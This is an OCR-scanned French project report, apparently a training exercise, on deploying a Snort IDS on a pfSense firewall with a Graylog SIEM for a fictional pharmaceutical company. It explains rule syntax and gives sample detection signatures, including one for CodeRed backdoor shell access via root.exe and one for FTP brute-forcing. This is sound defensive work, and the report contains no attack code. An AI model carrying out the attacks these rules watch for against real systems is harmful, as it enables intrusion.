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Introduction
VIRONAX est une entreprise francgaise, acteur majeur dans la pharmacie et les vaccins.

Dans ces moments de grande vulnérabilité des systemes et des organisations, VIRONAX déploie, dans chacun de ses
sites, les stratégies les plus sécurisantes possibles des lieux, de son infrastructure, des systémes et de son personnel.

Votre entreprise SecureltNow, spécialisée dans la sécurité informatique a été sollicitée par la DSI du site Vironax de
Toulouse, pour mettre en place un systéme de détection et de prévention des attaques aussi bien internes
gu’externes.

En attendant de migrer les serveurs WEB/BDD/Mail, situés actuellement dansla DMZ du Sl de Toulouse, vers le futur
Data Centre du Siége Parisien, vous étes chargés d’un des aspects de renforcement de lasécurité du Sl par la mise en
place d’un systeme de prévention des menaces et attaques informatiques.

Ila été démontré que, de plus en plus d’attaques et de fausses informations partent des réseaux sociaux. Il faudraen
prendre compte et classer les acces a Facebook dans les flux bannis a remonter a la DSI.

La demande : un IDS et un SIEM

Dans une phase de test quiva durer 3 mois, le responsable du Sl souhaite avoir :

1. Une application permettant une lecture facile du Traffic entrant/sortant et des tentatives d’intrusion ou
d’utilisation des outils non autorisés. La solution comprend un outil de détection d’intrusions (IDS) et un
systeme de lecture des remontées (SIEM), ergonomique et facilement exploitable.

2. Des alertes mail pour certaines menaces dés qu’elles sont détectées

Une premiere liste non exhaustive du trafic a surveiller et d’attaques a été dressée par votre équipe Sécurité pour
tester le dispositif que vous avez retenu pour vos clients, en particulier VIRONAX.

Liste des attaques a surveiller
Menaces & Attaques & Applications a surveiller dans la phase validation de votre outil

e DDos

e Backdoor

e Malware

e ARP Flooding

e Spoofing

e Attaque Web

e Attaques de BDD

e Etenfin onsurveillera les tentatives d’acces a Facebook

Ce qui est attendu
Vous avez été chargé de :

1. Définir chaque catégorie d’attaques en vous appuyant sur un exemple pour en expliquer le principe.

2. Choisir unoutil de type IDS et mettre en place une maquette permettant d’illustrer les simulations d’attaques
et les captures dans par I'IDS.

3. Mettre en place une solution de type SIEM pour exploiter de fagcon plus ergonomique les journaux de votre
IDS

4. Rédigerune documentation technique décrivant la solution mise en place et les tests utilisés pour la valider.

5. Rédiger un guide utilisateur pour le compte de la DSI de VIRONAX pour exploiter les journaux de votre
IDS/SIEM.



La solution proposée

IDS/IPS

Un IDS fait pour un réseau ce qu'un antivirus fait pourles fichiers qui entrent dans un systeme :il inspecte le contenu
du trafic réseau pour rechercher des attaques éventuelles, comme un antivirus quiinspecte le contenu des fichiers,
pour trouver des signatures de virus ou d'éventuelles actions malveillantes.

La différence entre IDS et IPS :

e Ladétectiond'intrusion estla surveillance du trafic réseau et 'analyser, pour détecterles signes d'éventuelles
d’intrusions. (IDS)

e La prévention des intrusions consiste a effectuer une détection des intrusions puis a arréter les incidents
détectés, généralement en supprimant des paquets ou en mettant fin a des sessions. (IPS)

Nous allons parler de deux catégories principales des IDS selon leur fonctionnalité :

e Systeme de détection d'intrusion basé sur le réseau (NIDS)
e Systeme de détection d'intrusion basé sur I'hote (HIDS)

NIDS

NIDS (Network Intrusion Detection System) est installé a un ou plusieurs points stratégiques du réseau, ou il peut
surveiller le trafic entrant et sortant vers et depuis tous les appareils du réseau. Il examine le trafic passant sur
I'ensemble du sous-réseau et s'il détecte une intrusion dans le réseau, une alerte d'avertissement est envoyée a
I'administrateur de ce réseau.

. server1 HIDS
Q_-O~_P R
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Tternet Firewall .«iu_.m HIDS

Mode promiscuité

Normalement, une carte d'interface réseau informatique (NIC) fonctionne en mode non-promiscuité. Dans ce mode
de fonctionnement, seuls les paquets destinés a I'adresse MAC spécifique de la carte réseau (ou les paquets de
diffusion) sonttransmis vers les couches supérieures pouranalyse. Le NIDS doit fonctionner enmode promiscuité pour
surveiller le trafic réseau non destiné a sa propre adresse MAC.

HIDS

Le HIDS differe du NIDS de deux manieres. Premierement, HIDS protége uniguement le systeme hote sur lequel il
réside et deuxi@emement, sa carte réseau fonctionne par défaut en mode non-promiscuité. Il détecte les activités
suspectes sur l'appareil et alerte I'administrateur.

Comment un IDS fonctionne ?

Certains IDS utilisent une technique appelée détection de signature. Cela ressemble a la facon dont les antivirus
utilisent les signatures de virus pour reconnaitre et empécher les fichiers ou programmes infectés d'entrer dans un
systéme informatique. IDS utilise une base de données liés a des attaques connues, appelées signatures d'attaque.

Une fois le trafic malveillant identifié, sa signature est capturée etajoutée ala base de données. Chaque signature de
cette base de données est comparée au trafic réseau en temps réel pour détecter de nouvelles menaces.



Faux positifl, faux négatif?
Un faux positif se produit lorsque I'IDS identifie une activité comme une attaque, mais que l'activité est un
comportement acceptable. Un faux positif est une fausse alerte.

Un faux négatif est I'état le plus grave et le plus dangereux. C'estace moment que I'IDS identifie une activité comme
acceptable alors qu'il s'agit en fait d'une attaque.

Mon pare-feu ne sert-il pas d'IDS ?
Non! le pare-feu n’analyse pas le contenu des paquets en profondeur comme I'IDS. Mais en limitant le nombre de
paquets qui parviennent a I'IDS interne, le pare-feu peut réduire le nombre de paquets que I''DS doit analyser.

Pourquoi mettre NIDS sur le pare-feu ?

Il'y a plusieurs avantages a placer le systeme IDS/IPS surle pare-feu. Dansles PME ou il n'y a pas assez de budget, en
considérant I''DS/IPS sur le pare-feu, nous pouvons protéger différents sous-réseaux (réseauinterne et DMZ) contre
les attaques qui peuvent étre initiées depuis l'intérieur du réseau et en méme temps surveiller toute attaque vers
notre pare-feu sursoninterface externe etarréterles attaquants avant qu'ils ne puissent pénétrerdans notre réseau.

Avoir I'IDS/IPS sur le pare-feu est non seulement capable de détecter les tentatives de pénétration du réseau, mais
aussi de fonctionner comme un IPS et d'arréter les flux malveillants.

Notre choix : Snort
Il existe une liste des solutions IDS/IPS sur le marché, et chacune a ses propres avantages et inconvénients. Parmile
top 10 on retrouve Suricata, Ossec, Security Onion, Snort et Zeek. Nous mettons en ceuvre Snort pour ce projet car :

e C('est open source et gratuit

e |ls'installe sur Linux, MacOS et prend en charge I'analyse Windows

e |ldispose d'une grande bibliotheque de regles de détection prédéfinies

e |l peut fonctionner comme renifleur, enregistreur de paquets* et détection d'intrusion
e |la alafois des méthodes basées sur signature et d'anomalie

e |l est pris en charge par Cisco

e Lesréglesde base peuvent étrefacilementtéléchargées et unacces avancé aux nouvellesregles est disponible
gratuitement

Mais il y a des inconvénients :

e |l peut avoir des mises a jour instables
e |ldépend du soutien de la communauté

SIEM

La gestion desinformations et des événements de sécurité® (SIEM) est une solution logicielle qui regroupe et analyse
I'activité de nombreuses ressources différentes sur I'ensemble de I'infrastructure informatique.

SIEM collecte les données de sécurité des périphériques réseau, des serveurs, e tc. SIEM stocke, normalise, agrége et
applique des analyses a ces données pour détecter les menaces et permettre aux organisations d'enquéter sur les
alertes.

Certains de ses avantages sont :

e Détection des menaces (je vous montrerai un exemple d’attaque Brute Force plus tard dans ce projet)

1 False positive

2 False negative

3 Sniffer

4 Packet logger

5 Security Information and Event Management



e Collecte de journaux
e Normalisation (Normalisation de journaux collectés dans un format standard)
e Notifications et alertes (Notifier l'utilisateur lorsque des menaces de sécurité sont identifiées)

Notre choix : Graylog
Certaines des meilleures solutions SIEM sont : Splunk, Graylog, OSSEC et IBM QRadar.

Pour ce projet, nous allons implémenter Graylog. C’'est facile a apprendre son fonctionnement, vous permettant
d'avoir un systeme presque completement fonctionnel en peu de temps.Graylog est également agréable a utiliser car
tous les éléments critiques sont facilement accessibles dans l'interface graphique.

Schéma de ce projet

Pour les besoins de ce projet, nous commencerons par présenter Snort et expliquer en détails son fonctionnement,
ensuite installer Snort sur une machine pfsense quiestle pare-feu de notre réseau. Puis, nous parlerons de toutes les
attaques répertoriées dans le cahier des charges une apres I'autre avec un exemple, et nous montrerons comment
configurer Snort pour capturer ces attaques. Aprées cela, nous enverrons des alertes Snort a Graylog et essayerons
d'analyser ces journaux. De plus, nous montrerons comment créer des alertes par e-mail pour les attaques dans
Graylog.

Afin de démontrer ces attaques, nous allons utiliser Kali Linux qui est une distribution Linux destinée aux tests de
pénétration avancés. Nous installons également des systemes d'exploitation vulnérables dans ce laboratoire,
spécialement concus pour effectuer des tests d'intrusion. Vous pouveztélécharger et installer kali linux préconstruit
pour VirtualBox depuis le lien officiel :

https://www.kali.org/get-kali/#kali-virtual-machines

Jerecommande d’utiliser VirtualBox pourla création de ce lab. car il est plus compatible avecles différents systemes
d’exploitation vulnérable.

Ma proposition pour la mise en place d’'un
systeme IDS est Snort installé sur le pare-feu
qui surveillera des trois sous-réseaux existant =
. R attacker
dans larchitecture actuel de la société (kall linux)
VIRONAX.
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https://www.kali.org/get-kali/#kali-virtual-machines

le maximum nombres des paquets qui sont transmis dans un sous-réseau auquelil est connecté. (Connexion par une
NIC promiscuité).

Préprocesseur

Un préprocesseur prend les paquets bruts et les compare a certains plug-ins (comme un plug-in HTTP etun plug-in de
scannerde ports). Ces plug-ins vérifient un certain type de comportement du paquet. Unefois qu'ilest déterminé que
le paquet a un type particulier de "comportement", il est ensuite envoyé au mote ur de détection.

Moteur de détection

Le moteur de détection est la partie principale de I''DS basé sur les signatures. Le moteur de détection prend les
données provenant du préprocesseur, et les vérifie avec un ensemble de regles. Si les régles corresponde nt aux
données du paquet, elles sont envoyées au processeur d'alerte.

Composant d'alerte/journalisation

Siles données correspondent a une regle du moteur de détection, une alerte est déclenchée. Les alertes peuvent étre
envoyées a un fichier journal. Les journaux sont stockés dans des fichiers texte (par défaut dans /var/log/snort) ou
dans une base de données telle que MySQL et Postgres.

Le traitement des paquets dans Snort
Si on suit un paquetvia Snort du débuta la fin, on peutavoir une compréhension assez compléte du fonctionnement
de Snort.

1. Acquisition de paquets : Snort recoit les paquets directement du réseau.
2. Décodage : Unefois que Snorta acquis le paquet, il le passe dansle décodeurde paquets. En décodant, Snort
examine la structure du paquet et décide a quelle couche et a quel protocole appartient le paquet.

3. Analyser dans les préprocesseurs: Une fois le beani
. . , Packet

paquet décodé, ilest transmis aux préprocesseurs. !

4. Moteur de détection: Une fois que tous les DecdeEoPt

réprocesseurs ont été appelés, le paquet est NS

prep . . PP . ' pad DecodeVlan // \\\
transmis au moteur de détection. |:8°2:|-1,Q U il

5. Journalisation et alerte: Une fois que tous les T~ )
préprocesseurs ont terminé leur travail et que le Decode 1P Deciier Decadel’k
paquet a été évalué par rapport a I'ensemble de — l T
régles, Snort passe ala section de journalisation et S
d'alerte.

Liste des préprocesseurs

Les préprocesseurs de rassemblement : Frag2 et Frag3

Chaque type de réseau a une unité de transfert maximum (MTU) différente. Le MTU d'Ethernet est de 1500 octets et
il appelle ses blocs de données destrames. Ces trames sont remontées lorsqu'ils arrivent a destination. Les paquets
fragmentés peuvent poser des problémes a I'IDS réseau. Les préprocesseurs frag2 et frag3 de Snort traitent ce
probléme en réassemblant les paquets fragmentés avant qu'ils ne passent par le moteur de détection.

Les préprocesseurs d’application

L’analyse des paquets basée surdes regles peut souvent échouer sur des protocoles pourlesquels les données peuvent
étre représentées de différentes maniéres. Comme http, smtp, ftp, etc. les paquets appartenant a ces protocoles
doivent passer par des préprocesseurs d'application pour étre normalisés.

Les préprocesseurs d’expérimentale : arpspoof
Le préprocesseurarpspoof détecte les attaques ARP Spoofing. On parlera de ce type d’attaque prochainementeton
verra comment l'arpspoof peut 'empécher.



Les regles

Source Address Direction -
Destination Address

Action Protocol
'\ \ Source Port /Destiuation Port

alert icmp 192.168.1.10 any -> any any (msg: “ICMP Attempt Attack™: s1d:1000005)

l

Rule Header Rule Option

En-tétes (headers)
Voici un exemple pour les régles utilisées par Snort. Header est composé de plusieurs éléments :

alert tcp SEXTERNAL_NET any -> SHTTP_SERVERS SHTTP_PORTS (msg:"WEB-IIS CodeRed v2 root.exe access";
flow:to_server,established; uricontent:"/root.exe"; nocase; reference:url,www.cert.org/advisories/CA- 2001-
19.html; classtype:web-application-attack; sid:1256; rev:8;)

Actions

Dans I'exemple précédent, l'action est alert. Huit options d'action sont possibles. Les deux plus courantes sont alert et
pass.Sivous exécutez Snorten mode inline (le mode IPS), vousavez également les options drop, reject et sdrop (silent
drop). L'option d'alerte indique a Snort de générer un événement pour cette régle.

Protocole
L'élémentsuivant est un mot unique pour décrire le protocole. C'est relativement simple : on peut dire ici TCP, UDP,
ICMP ou IP.

Variable
Ensuite, nous avons une adresse IP etun port. Pour I'lP, nous pouvons utiliser une adresse IP individuelle ou une plage
d'adresses IP spécifiées par la notation CIDR. (192.168.1.0/24)

On peut aussi utiliser les variables comme HOME_NET ou EXTERNAL_NET qui remplace les IP.

Ports
On peut définir des ports comme un port unique ou une plage de ports.

Options

Le titre

La premiere option dans notre exemple est le msg, c'est-a-dire le message ou le titre de la régle. Il s'agit du nom en
texte brut qui est inséré dans les journaux pour décrire la regle.

Flow

Flow nous dit a quel type de flux cette regle doit étre appliqué. Par exemple established nous dit seulement les
connexion TCP doit étre traiter par cette regle. Flow propose plusieurs options que vous pouvez utiliser ensemble. lis
incluent to_server, from_server, to_client, from_client, established et stateless.

Content
Le content est la correspondance (le match) dans le payload d'un paquet.

Vous pouvez utiliser plus que du texte brut dans une Content. Vous pouvez spécifier directement des données
binaires en tant que données hexadécimales, en les enfermant dans des Pipes (|) a l'intérieur de guillemets :

content:"|0023 71 88|";

content:"|00 |une phrase|738200|";


http://www.cert.org/advisories/CA-

Depth
Nous pouvons également spécifier ol dans le paquet nous voulons rechercherune correspondance. Le Depth indique
gue nous nous soucions uniguement de savoir si vous voyez ce contenu dans les X premiers octets du paquet.

content:"GET"; depth:10;

Offset
Offset dit d'ignorer les X premiers octets du paquet et de regarder jusqu'a la fin du paquet.

content:"attack code"; offset:50;

Disons que nous recherchons un modele quine peut étre que dans un paquet de la position d'octet 100 a 150.
content:"my match"; offset:100; depth:50;

Within

Cela fonctionne un peucomme la Depth, mais cela ne fonctionne pas a partir du début du paquet, cela fonctionne a
partir de la fin de la correspondance précédente.

content:"Bob"; content:"is a jerk"; within:20;

Distance
Si nous voulions nous assurer que la deuxiéme correspondance étaita au moins 20 octets de la premiére, nous
utiliserions la distance.

Metadata

Reference
Une référence est essentielle, surtout si vous devez revoir la régle plus tard.

Classtype

Classtype est un outil de classification. Il vous permetde hiérarchiser les événements en fonction du type apres leur
génération.

Sid

Sid fait partie de l'identifiant unique que toutes les régles doivent avoir. (Snort ID ou Sensor ID)

Rev
L'option rev fait référence au numéro de révision dans le cas ou nous réécrivons la regle plusieurs fois.

Options avancées

Thresholding (seuillage)

Un seuil peut faire deux choses trés importantes pour vous. Tout d'abord, vous pouvez générer un événement
uniguementsiune condition se produit plus d'un certain nombre de fois au cours d'une certaine période. Les échecs
de connexion ensontun parfaitexemple. Un ou deuxéchecs de connexion surun serveur FTP ne sont pas inhabituels,
mais 20 échecs de connexion en 60 secondes sont quelque chose d'intéressant.

Si vous souhaitez connaitre chaque événement jusqu'a une certaine limite, vous pouvez supprimer le reste des
événements,en supposantque suffisamment d'événements ont été générés pour attirer I'attention appropriée. Dans
le cas de certains événements, vous voulez savoir qu'ils se déroulent, mais aprés les 10 premiéres entrées, vous avez
une idée et pouvez réagir ; pas besoin de remplir votre base de données IDS avec des événements en double.

Voici un exemple pour I'échec de connexion au serveur FTP :

alert tcp SHOME_NET 21 -> SEXTERNAL_NET any (msg:"BLEEDING-EDGE SCAN Potential FTP Brute-Force attempt";

flow:from_server,established; content:"530 "; pcre:"/A530\s+(Login|User)/smi"; classtype:unsuccessful- user;
threshold: type threshold, track by_dst, count 5, seconds 120; sid:2002383; rev:3;)
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Vous pouvez appliquer a la fois une limite (limit) et un seuil (threshold) avec le type Both :
threshold: type both, count 5, seconds 60, track by _src;

Celasignifie que sivous voyez cing événementsen 60secondes, générez une alerte pour cette période de 60 secondes.
Si vous voyez cing événements dans la prochaine période de 60 secondes, générez une alerte supplémentaire. Ced
est particulierement utile pour les regles qui peuvent étre tres bruyantes lorsqu'elles frappent comme les attaques
DoS. (voir la simulation DDoS)

Maintenant on sait suffisamment pour commencer l'installation de Snort sur notre pfsense :

Installation de Snort sur pfsense

Obtenir une clé gratuite Snort
Avantd'ajouterSnort a Pfsense, obtenons une clé gratuite pour activer les mises a jourautomatiques en protégeant
votre réseau, vous n'aurez donc pas besoin de mettre a jour Snort manuellement.

Pour obtenir la clé gratuite, accédez a ce lien https://www.snort.org/users/sign_up et créez un compte. Une fois
connecté a votre compte récemment créé, dans le menu de gauche, appuyez sur Oinkcode et copiez le code affiché
dans la capture d'écran ci-dessous ; enregistrez ce code pour l'utiliser plus tard.

Q | Rule Doc Search Ex#  Documents

ershadramezanigicam fr

s I -

Installer le paquet Snort
Pour commencer a installer Snort sur Pfsense, connectez-vous a votre interface Web Pfsense et au menu supérieur,
appuyez sur Systéme, puis appuyez sur Gestionnaire de packages.

Une fois sur la page Gestionnaire de packages, appuyez sur le lien Packages disponibles

Une fois dans I'écran Packages disponibles, dans le champ Terme de recherche, tapez « Snort » et appuyez sur le
bouton Rechercher ; Lorsque le package Snort apparait, appuyez sur le bouton Install.

Appuyez sur le bouton Services dans le menu supérieur de Pfsense ; vous verrez que l'option Snort a été ajoutée.

Ajouter Snort sur l'interface LAN
Voici a quoi ressemble I'écran principal de Snort ; par défaut, il ouvre le premier onglet nommé Snort Interfaces. Dans
cet écran, appuyez sur le bouton Ajouter.

a

Snort Interfaces Global Settings Updates Alerts Blocked Pass Lists Suppress IP Lists SID Mgmt Log Mgmt Syni

‘WAN Settings

General Settings

Enable Enable interface

Interface LAN (em1) e

Choose the interface where this Snort instance will inspect traffic

Description LAN

Enter a meaningful description here for your reference.

Snap Length 1518

Enter the desired interface snaplen value in bytes. Default is 1518 and is suitable for most applications.
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Par défaut, l'interface réseau est activée ; sinon, assurez-vous qu'il est activé et sélectionnez le bon. Dans mon cas
particulier, l'interface est LAN. Toutes les politiques que nous définirons ci-dessous s'appliqueront a cette interface.

Dans mon cas, j'ai activé lesjournaux pour les alertes, une option qui est désactivée par défaut. Je vous recommande
de l'activer afin de pouvoir suivre le comportement de Snort et de I'envoyer plus tard a Graylog.

Alert Settings

Send Alerts to System snort will send Alerts to the firewall's system log. Default is Not Checked
Log

System Log Facility LOG_AUTH v

Select system log Facility to use for reporting. Default is LOG_AUTH

System Log Priority LOG_ALERT v

Select system log Priority (Level) to use for reporting. Default is LOG_ALERT.
Enable Packet Captures [ checking this option will automatically capture packets that generate a Snort alert into a tcpdump compatible file

Enable Unified2 Logging [ Checking this option will cause Snort to simultaneously log alerts to a unified2 binary format log file in the logging subdirectory for this interface.
Defaultis Not Checked.

Log size and retention limits for the Unified2 log should be configured on the LOG MGMT tab when this option is enabled

IDS ou IPS ?
Vous pouvez voir les options supplémentaires si vous activez l'option Block Offenders.

Le mode IPS permet deux modes :

Legacy Mode
Pourl'expliquerfacilement, ce mode crée un clone du paqueta analyser tout en laissant passer le paquet original par
Pfsense. Selon les régles, les futurs paquets seront bloqués sile paquet est malveillant.

Mode en ligne (inline)

Dans ce mode, le paquet est conservé jusqu'a la fin de I'analyse. Ce mode ne fonctionne pas avec toutes les cartes
réseau.

Kill States
Si cette option est sélectionnée, lorsqu'une connexion établie est bloquée par Snort ou le pare-feu, laconnexion est
interrompue.

Which IP to Block
Cette option vous permet de bloquer I'adresse source, I'adresse de destination ou les deux.

Block Settings

Block Offenders (CHecking this option will automatically block hosts that generate a Snort alert. Default is Not Checked.

| IPS Mode Legacy Mode | e

Select blocking mode operation. Legacy Mode inspects copies of packets while Inline Mode inserts the Snort inspection engine into the network stack
between the NIC and the 0S. Default is Legacy Mode.

Legacy Mode uses the PCAP engine to generate copies of packets for inspection as they traverse the interface. Some "leakage” of packets will occur
before Snort can determine if the traffic matches a rule and should be blecked. Inline mode instead intercepts and ts packets before they are
handed off to the host network stack for further processing. Packets matching DROP rules are simply discarded (dropped) and not passed to the host
network stack. No leakage of packets occurs with Inline Mode. WARNING: Inline Mode only works with NIC drivers which properly support Netmap!
Supported drivers: bnxt, cc, cxgbe, cxl, em, em, ena, ice, igb, igc, ix, ixgbe, ix|, lem, re, vmx, vinet. If problems are experienced with Inline Mode, switch to
Legacy Mode instead

Kill States CHecking this option will kill firewall established states for the blocked IP: Default is checked.

| Which IP to Block BOTH | ~

Select which IP extracted from the packet you wish to block. Default is BOTH

La section suivante vous permet de définirles réseaux Interne et externes. Toutes les deux sont envaleur par défaut.
On peut vérifier la valeur de ces variables en cliquant sur View List :

Choose the Networks Snort Should Inspect and Whitelist

Home Net default h ‘ |

Choose the Home Net you want this interface to use.

Default Home Net adds only local networks, WAN IPs, Gateways, VPNs and VIPs.
Create an Alias to hold a list of friendly IPs that the firewall cannot see or to customize the default Home Net

External Net default .
Choose the External Net you want this interface to use

External Net is networks that are not Home Net. Most users should leave this setting at default.
Create a Pass List and add an Alias to it, and then assign the Pass List here for custom External Net settings
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View HOME_NET View EXTERNAL_NET

8.8.8.8 18.5.8.8
127.0.9.1 1127.8.0.1
172.18.28.08/24 1172.18.20.0/24
192.168.1.237 1192.168.1.237

192.168.1.254

0l

feB@: :a@@: 27Ff: feed: d9de
feB@::a@@: 27Ff: fefb: 5962

1192.168.1.254

B8:27ff:feed:dBBe
0@:27Ff:fefb:5962

La valeur pour HOME_NET nous convient car le réseau LAN est déjainclus dans ce tte variable. En revanche, le réseau
LAN estexclude la variable EXTERNAL NET. Ce quiestlogique dans|’environnement prod uction. Mais dans ce projet,
comme on va simuler les attaques depuis Kali qui serasitué dans le méme réseau LAN, on doit ajouter le réseau LAN
dans cette variable. Pour cela, faites les étapes suivantes :

1. Créezun alias dans le pare-feu du Pfsense pour le réseau LAN :

Firewall Aliases IP

Name Values Description

inside_network 172.18.20.0/24 inside_network

2. Dans l'onglet Pass Lists du Snort, créez un nouveau Pass List et mettez cet alias dans ce Pass List et le
sauvegardez :

Services / Snort/ Pass List/ Edit (2}

Snort Interfaces Global settings Updates Alerts Blocked Pass Lists Suppress IP Lists SID Mgmt Log Mgmt sync

General Information

Name passlist_6133
The list name may anly consist of the characters ‘a-z, A-Z, 0-9 and _'

Description

Custom IP Addresses and Configured Firewall Aliases

Hint Enter as many IP addresses or alias names as desired. Enter ONLY an IP address, IP subnet or alias name! Do NOT enter a FQDN (fully qualified domain
name) directlyl To use a FQDN, first create the necessary firewall alias, and then provide the alias name here. FQDN aliases are periodically reresolved
and updated by the firewall. You can also provide an IP subnet with a proper netmask of the form network/mask such as 1.2.3.0/24,

IP or Alias inside_network

3. Revenezdansle menu LAN Settings et changez la variable External_Net :

External Net passlist_6133 . | |
Choose the External Net you want this interface to use I

External Net is networks that are not Home Net. Most users should leave this setting at default
Create a Pass List and add an Alias to it, and then assign the Pass List here for custom External Net settings.

4. Revérifier la variable. Le réseau LAN est désormais parmiles réseaux de 'EXTERNAL NET :

View EXTERNAL_NET

8.8.6.8
127.0.0.1

172.18.28.0/24

192.168.1.254
£280::200:27FF: Feed: 6502
£250::200:275F: Fefb: 5952

Enfin, appuyez sur le bouton Enregistrer pour appliquer vos modifications.

Apres avoir enregistré vos modifications, le menu principal Interfaces sera similaire a celui illustré dans l'image ci-
dessous.



Services / Snort/ LAN - Interface Settings e
Snort Interfaces Global Settings Updates Alerts Blocked Pass Lists Suppress IP Lists SID Mgmt Log Mgmt

Sync

LAN Settings LAN Categories LAN Rules LAN Variables LAN Preprocs LAN IP Rep LAN Logs

Configuration des parametres globaux de Snort
Maintenant, appuyez sur Global Settings dans le menu supérieur.

Cochezl'option Enable Snort VRT et collez votre Oinkcode (la clé Snort gratuite). Sivous ne faites pas cette étape, vous
devrez mettre a jour Snort manuellement, ce quin'est pas recommandé.

Cochez également Activer Snort GPLv2, Activer ET Open et Activer les options OpenAppID.
Sélectionnez un intervalle de mise a jour ; nous allons sélectionner 1 jour:

Rules Update Settings

Update Interval 1 DAY

v

Please select the interval for rule updates. Choosing NEVER disables auto-updates.

Sivotre Pfsense dispose d'un SSL auto-signé, cochez I'option Désactiver SSL Peer Verification.

Disable SSL Peer Click to disable verification of SSL peers during rules updates. This is commeonly needed only for self-signed certificates. Default is not checked.
Verification

Dans Parametres généraux, définissez un intervalle pour supprimer les hotes bloqués, conservez les autres options
par défaut et appuyez sur le bouton Enregistrer.

General Settings

Remove Blocked Hosts 1 HOUR

Interval
Please select the amount of time you would like hosts to be blocked. In most cases, one hour is a good choice

Mise a jour manuelle des regles Snort
Pour mettre a jour Snort manuellement, appuyez sur Updates et appuyez sur le bouton Update rules.

Ce processus va durer quelgues minutes, soyez patient. Aprés avoir terminé, vos regles Snort seront mises a jour.

Snort Interfaces Global Settings Updates Alerts Blocked Pass Lists Suppress IP Lists SID Mgmt Log Mgmt Sync
Installed Rule Set MD5 Signature

Rule Set Name/Publisher MDS5 Signature Hash MDS Signature Date

Snort Subscriber Ruleset Not Downloaded Not Downloaded

Snort GPLv2 Community Rules Not Downloaded Not Downloaded

Emerging Threats Open Rules Not Downloaded Not Downloaded

Snort OpenApplD Detectors Not Downloaded Not Downloaded

Snort AppID Open Text Rules Not Enabled Not Enabled

Feodo Tracker Botnet C2 IP Rules Not Enabled Not Enabled

Update Your Rule Set

Last Update Unknown Result: Unknown

Update Rules | | d—

Click UPDATE RULES to check for and automatically apply any new posted updates for selected rules packages. Clicking FORCE UPDATE will zero out
the MDS5 hashes and force the download and application of the latest versions of the enabled rules packages.

Update Your Rule Set

Last Update Sep-24 2022 21:38 Result: Success

Téléchargement ou suppression des journaux d'alerte Snort

Pourtéléchargerousupprimerlesjournaux d'alertes, appuyezsurl'onglet Alertes etappuyezsurle bouton Download
ou sur le bouton Clear pour supprimer les alertes.
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Snort Interfaces Global Settings Updates Alerts Blocked Pass Lists Suppress IP Lists SID Mgmt Log Mgmt Sync

Alert Log View Settings
Interface to Inspect LAN (em1) hd O Auto-refresh view 250
Choose interface. Alert lines to display.

Alert Log Actions &, Downioad P

Note: quand on crée une nouvelle interface dans I'onglet Snort Interfaces, tous les paramétrages dans ses sous-
onglets ne seront appliqués que pour cette nouvelle interface.

Snort Interfaces Global Settings Updates Alerts Blocked Pass Lists Suppress IP Lists SID Mgmt Log Mgmt Sync
paramétrage)pourdinterface LAN
| PASLRCUUOALRCS ) pAAIUUL AU USO AU

LAN Settings LAN Categories LAN Rules LAN Variables LAN Preprocs LAN IP Rep LAN Logs | P

General Settings

Personnaliser la configuration pour une interface
Revenez aux interfaces Snort et accédez aux catégories LAN. Ici vous pouvez voir trois sections :

LAN Categories
1. Resolve Flowbits : en cochant cette option, Snort activera automatiguementtoutes les regles quiont I'option
flowbit configurée. L'option Flowbit est pour travailler sur plusieursregles a la fois. Les régles selon lesquelles
la vérification de I'un dépend de l'autre. (Par défaut coché)

Automatic Flowbit Resolution

Resolve Flowbits If checked, Snort will auto-enable rules required for checked flowbits. Default is Checked
Snort will examine the enabled rules in your chosen rule categories for checked flowbits. Any rules that set these dependent flowbits will be
automatically enabled and added to the list of files in the interface rules directory.

2. Sicette case est cochée, Snort utilisera les regles de l'une des trois politiques IPS prédéfinies dans les regles
de Snort. La sélection de cette option désactive la sélection manuelle des catégories Snort.
Les politiques Snort IPS sont : Connectivity, Balanced, Security ou Max-Detect.

Snort Subscriber IPS Policy Selection

Use IPS Policy If checked, Snort will use rules from one of three pre-defined IPS policies in the Snort Subscriber rules. Default is Not Checked

Selecting this option disables manual selection of Snort Subscriber categories in the list below, although Emerging Threats categories may still be
selected if enabled on the Global Settings tab. These will be added to the pre-defined Snort IPS palicy rules from the Snort VRT.

IPS Policy Selection | Connectivity ~2

Balanced
Security
Max-Detect

anced is a good starter policy. It is speedy, has good base coverage level, and
y is a stringent policy. It contains everything in the first two plus policy-type
A for teatinn netwnrk traffie thranah vonr deviee This nolicy chanld he nieed

|

e La connectivité bloque la plupart des menaces majeures avec peu ou pas de faux positifs.
e Equilibré est rapide et couvre la plupart des menaces de la journée. Il inclut toutes les régles de
Connectivité.
e La sécurité est une politique stricte. Il contient tout ce qui se trouve dans les deux premiers.
e Max-Detect est une stratégie créée pour tester le trafic réseau via cet appareil. Cette politique doit
étre utilisée avec prudence sur les systemes de production !
3. Toutes les regles téléchargées depuis I'onglet Update de Snort sont classées dans cette section. On peut
personnaliser en cochant les Ruleset qu’on veut activer ou désactiver. Cette sélection de regle est seulement
pour cette interface.
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Select the rulesets (Categories) Snort will load at startup
Q- Category is auto-enabled by SID Mgmt conf files
°— Category is auto-disabled by SID Mgmt conf files

(T )

Enable Ruleset: Snort GPLv2 Community Rules

O Snort GPLv2 Community Rules (Talos certified)

Enable Ruleset: FEODO Tracker Botnet C2 IP Rules

O Feodo Tracker Botnet C2 IP Rules

Enable Ruleset: ET Open Rules Enable Ruleset: Snort Text Rules Enable Ruleset: Snort SO Rules Enable Ruleset: Snort OPENAPPID Rules
O emerging-activex.rules a snort_app-detect.rules a snort_browser-chrome.so.rules [J openappid-ads.rules

O emerging-attack_response.rules  [J snort_blacklist.rules a snort_browser-ie.so.rules O openappid-browser_plugin.rules

Note : En cliquant sur un Ruleset on peut voir son contenu :

Rules file: openappid-ads.rules

Close

; classtype:misc-activity;
inskin_media; 1788 ; classt
eustar_informa; sid:7179@ ;
d:78998 ; classtype:misc-a
;flow:from_client;appid:ad_marvel; sid:78991 ; classtyp
tnaver; =id:78992 ; classtype:misc-activi

Rule file alert top $HOME_MET any -»> v :"ad_advisor" ;flow: from_client;appid:ad_advisor; sid:789!
alert tcp SHOME_MET any ->
alert tcp SHOME_NET any ->
alert top SHOME_NET any ->
alert tcp SHOME_NET any -»
alert top SHOME_NET any ->

LAN Rules

Dans cette partie on peut vérifier toutes les regles choisis dans I'onglet LAN Categories. On peut aussi ajouter nos
régles personnalisées dans Custom.rules :

LAN Seftings LAN Categories LAN Rules LAN Variables LAN Preprocs LAN IP Rep LAN Logs

Available Rule Categories

Category Selection: | auto-Flowbit Rules v
Auto-Flowbit Rules
custom.rules
decoder.rules
preprocessor.rules
User Forced Disabled Rules
User Forced Enabled Rules

Active Rules
e o

